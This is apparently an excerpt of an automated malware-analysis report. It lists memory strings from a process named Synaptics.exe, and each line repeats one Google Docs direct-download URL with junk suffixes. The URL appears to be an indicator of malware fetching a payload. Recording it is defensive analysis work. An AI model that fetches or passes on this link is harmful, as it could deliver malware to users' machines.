Source: Synaptics.exe, 00000003.00000002.3016126059.0000000000972000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadcn
Source: Synaptics.exe, 00000003.00000002.3020194577.0000000005431000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadcn.n
Source: Synaptics.exe, 00000003.00000002.3020194577.0000000005431000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3043538428.000000000DE32000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadcom
Source: Synaptics.exe, 00000003.00000002.3020194577.0000000005431000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadcom.
Source: Synaptics.exe, 00000003.00000002.3020194577.0000000005431000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadcr
Source: Synaptics.exe, 00000003.00000002.3043538428.000000000DE32000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadcrr
Source: Synaptics.exe, 00000003.00000002.3020194577.0000000005431000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadcs-c
Source: Synaptics.exe, 00000003.00000002.3072963554.000000001D9A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadcs.dlWz
Source: Synaptics.exe, 00000003.00000002.3073360859.000000001DA57000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadcs.dly
Source: Synaptics.exe, 00000003.00000002.3016126059.0000000000972000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadctA
Source: Synaptics.exe, 00000003.00000002.3081693184.000000001DF91000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadctf
Source: Synaptics.exe, 00000003.00000002.3016126059.0000000000972000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadcu
Source: Synaptics.exe, 00000003.00000003.2996977123.000000001DB16000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3073360859.000000001DA57000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3071429514.000000001D918000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3020194577.0000000005431000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2985810104.000000001DCEB000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3072963554.000000001D9A8000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3159256144.000000003C8C1000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2992279061.0000000007117000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3040412324.000000000DCCE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3161091274.000000003C971000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3042188537.000000000DDA2000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3163086437.000000003CA0C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2990660611.000000001DB7B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3085980201.000000001E011000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadd
Source: Synaptics.exe, 00000003.00000002.3072963554.000000001D9A8000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2990660611.000000001DB7B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadd.moo
Source: Synaptics.exe, 00000003.00000003.2985810104.000000001DCC8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadd.mooXpG
Source: Synaptics.exe, 00000003.00000002.3020194577.0000000005431000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadd3~
Source: Synaptics.exe, 00000003.00000002.3020194577.0000000005431000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadd6
Source: Synaptics.exe, 00000003.00000002.3073360859.000000001DA57000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadd?
Source: Synaptics.exe, 00000003.00000002.3020194577.0000000005431000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloaddi
Source: Synaptics.exe, 00000003.00000002.3072963554.000000001D9A8000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3046013509.000000000DF4B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3040412324.000000000DCCE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3161091274.000000003C971000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2990660611.000000001DB7B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3085980201.000000001E011000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloade
Source: Synaptics.exe, 00000003.00000002.3020194577.0000000005431000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloade$z
Source: Synaptics.exe, 00000003.00000002.3020194577.0000000005431000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloade.cn
Source: Synaptics.exe, 00000003.00000002.3043538428.000000000DE32000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloade.cnCX
Source: Synaptics.exe, 00000003.00000002.3158070401.000000003C85E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloade=X
Source: Synaptics.exe, 00000003.00000002.3016126059.0000000000972000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadec
Source: Synaptics.exe, 00000003.00000002.3016126059.0000000000972000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadect.n
Source: Synaptics.exe, 00000003.00000002.3039336573.000000000DC70000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadeg
Source: Synaptics.exe, 00000003.00000002.3020194577.0000000005431000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadeh
Source: Synaptics.exe, 00000003.00000002.3081693184.000000001DF91000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3042188537.000000000DDA2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadel
Source: Synaptics.exe, 00000003.00000002.3073360859.000000001DA57000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3072963554.000000001D9A8000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2990660611.000000001DB7B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadelle
Source: Synaptics.exe, 00000003.00000002.3073360859.000000001DA57000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3072963554.000000001D9A8000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2990660611.000000001DB7B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadellem
Source: Synaptics.exe, 00000003.00000002.3081693184.000000001DF91000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadelz
Source: Synaptics.exe, 00000003.00000002.3016126059.0000000000972000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadem
Source: Synaptics.exe, 00000003.00000002.3072963554.000000001D9A8000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2990660611.000000001DB7B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloademe
Source: Synaptics.exe, 00000003.00000002.3016126059.0000000000972000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloaden%
Source: Synaptics.exe, 00000003.00000002.3073360859.000000001DA57000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2985810104.000000001DCC8000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2990660611.000000001DB7B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadenetl
Source: Synaptics.exe, 00000003.00000002.3072963554.000000001D9A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadenetlMx
Source: Synaptics.exe, 00000003.00000003.2985810104.000000001DCC8000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3040412324.000000000DCCE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2990660611.000000001DB7B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadeniyo
Source: Synaptics.exe, 00000003.00000002.3072963554.000000001D9A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadeniyo0B
Source: Synaptics.exe, 00000003.00000002.3073360859.000000001DA57000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadeniyoZ
Source: Synaptics.exe, 00000003.00000002.3073360859.000000001DA57000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadeniyos
Source: Synaptics.exe, 00000003.00000002.3020194577.0000000005431000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadenp-r
Source: Synaptics.exe, 00000003.00000003.2985810104.000000001DCC8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadervenuu
Source: Synaptics.exe, 00000003.00000002.3016126059.0000000000972000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3042188537.000000000DDA2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloades
Source: Synaptics.exe, 00000003.00000002.3072963554.000000001D9A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadesolv
Source: Synaptics.exe, 00000003.00000002.3016126059.0000000000972000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3042188537.000000000DDA2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadet
Source: Synaptics.exe, 00000003.00000002.3016126059.0000000000972000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadet9
Source: Synaptics.exe, 00000003.00000002.3072963554.000000001D9A8000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3040412324.000000000DCCE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2990660611.000000001DB7B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadetle
Source: Synaptics.exe, 00000003.00000002.3073360859.000000001DA57000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2990660611.000000001DB7B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadetlen
Source: Synaptics.exe, 00000003.00000003.2985810104.000000001DCC8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadetlenypd
Source: Synaptics.exe, 00000003.00000002.3076022173.000000001DED9000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3081693184.000000001DF91000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3154941287.000000003C702000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3073360859.000000001DA57000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3072963554.000000001D9A8000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2992279061.000000000717C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3040412324.000000000DCCE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3161091274.000000003C971000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3085980201.000000001E011000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadf
Source: Synaptics.exe, 00000003.00000002.3016126059.0000000000972000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadfi
Source: Synaptics.exe, 00000003.00000002.3072963554.000000001D9A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadfilebz
Source: Synaptics.exe, 00000003.00000002.3020194577.0000000005431000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadfoH-Z
Source: Synaptics.exe, 00000003.00000002.3016126059.0000000000972000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3154941287.000000003C702000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3047064799.000000000DFE8000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3071429514.000000001D918000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3020194577.0000000005431000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3165100713.000000003CA8A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3072963554.000000001D9A8000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3046013509.000000000DF4B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3040412324.000000000DCCE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3161091274.000000003C971000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3042188537.000000000DDA2000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2990660611.000000001DB7B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3085980201.000000001E011000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadg
Source: Synaptics.exe, 00000003.00000003.2992279061.00000000071CE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadgT&
Source: Synaptics.exe, 00000003.00000002.3016126059.0000000000972000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadgoog
Source: Synaptics.exe, 00000003.00000003.2996977123.000000001DB16000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3154941287.000000003C702000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3020194577.0000000005431000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3165100713.000000003CA8A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3072963554.000000001D9A8000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3040412324.000000000DCCE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3161091274.000000003C971000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3163086437.000000003CA0C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2990660611.000000001DB7B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3085980201.000000001E011000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadh
Source: Synaptics.exe, 00000003.00000002.3020194577.0000000005431000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadh0z
Source: Synaptics.exe, 00000003.00000002.3043538428.000000000DE32000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadhY;
Source: Synaptics.exe, 00000003.00000002.3016126059.0000000000972000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3158070401.000000003C85E000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3154941287.000000003C702000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3071429514.000000001D902000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3071429514.000000001D918000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3020194577.0000000005431000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2985810104.000000001DCEB000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3072963554.000000001D9A8000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3046013509.000000000DF4B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3040412324.000000000DCCE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3161091274.000000003C971000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2990660611.000000001DB7B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3085980201.000000001E011000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadi
Source: Synaptics.exe, 00000003.00000002.3016126059.0000000000918000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadi-
Source: Synaptics.exe, 00000003.00000002.3020194577.0000000005431000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadi4z
Source: Synaptics.exe, 00000003.00000003.2985810104.000000001DCEB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadi=
Source: Synaptics.exe, 00000003.00000003.2985810104.000000001DCEB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadi?=
Source: Synaptics.exe, 00000003.00000003.2985810104.000000001DCC8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloading
Source: Synaptics.exe, 00000003.00000002.3016126059.0000000000972000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadini
Source: Synaptics.exe, 00000003.00000002.3020194577.0000000005431000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadip
Source: Synaptics.exe, 00000003.00000003.2985810104.000000001DCC8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadirt
Source: Synaptics.exe, 00000003.00000002.3073360859.000000001DA57000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3072963554.000000001D9A8000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2990660611.000000001DB7B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadiyor
Source: Synaptics.exe, 00000003.00000002.3073360859.000000001DA57000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2985810104.000000001DCC8000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3072963554.000000001D9A8000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3040412324.000000000DCCE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2990660611.000000001DB7B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadiyor.
Source: Synaptics.exe, 00000003.00000002.3073360859.000000001DA57000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadiyor..
Source: Synaptics.exe, 00000003.00000002.3073360859.000000001DA57000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadiyor.K
Source: Synaptics.exe, 00000003.00000003.2985810104.000000001DCC8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadiyor.hvw
Source: Synaptics.exe, 00000003.00000002.3072963554.000000001D9A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadiz
Source: Synaptics.exe, 00000003.00000002.3076022173.000000001DED9000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3081693184.000000001DF91000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3154941287.000000003C702000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3071429514.000000001D902000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3071429514.000000001D918000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2985810104.000000001DCEB000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3072963554.000000001D9A8000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2992279061.000000000717C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3046013509.000000000DF4B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3040412324.000000000DCCE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3161091274.000000003C971000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2990660611.000000001DB7B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3085980201.000000001E011000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadj
Source: Synaptics.exe, 00000003.00000003.2992279061.00000000070E2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadj(/
Source: Synaptics.exe, 00000003.00000002.3076022173.000000001DED9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadj?y
Source: Synaptics.exe, 00000003.00000003.2992279061.00000000071CE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadjW
Source: Synaptics.exe, 00000003.00000002.3076022173.000000001DED9000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3046013509.000000000DF4B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadjy
Source: Synaptics.exe, 00000003.00000002.3016126059.0000000000972000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3047064799.000000000DFE8000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3020194577.0000000005431000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3043538428.000000000DE32000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2985810104.000000001DCEB000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3040412324.000000000DCCE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3161091274.000000003C971000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3085980201.000000001E011000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadk
Source: Synaptics.exe, 00000003.00000002.3020194577.0000000005431000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadk1
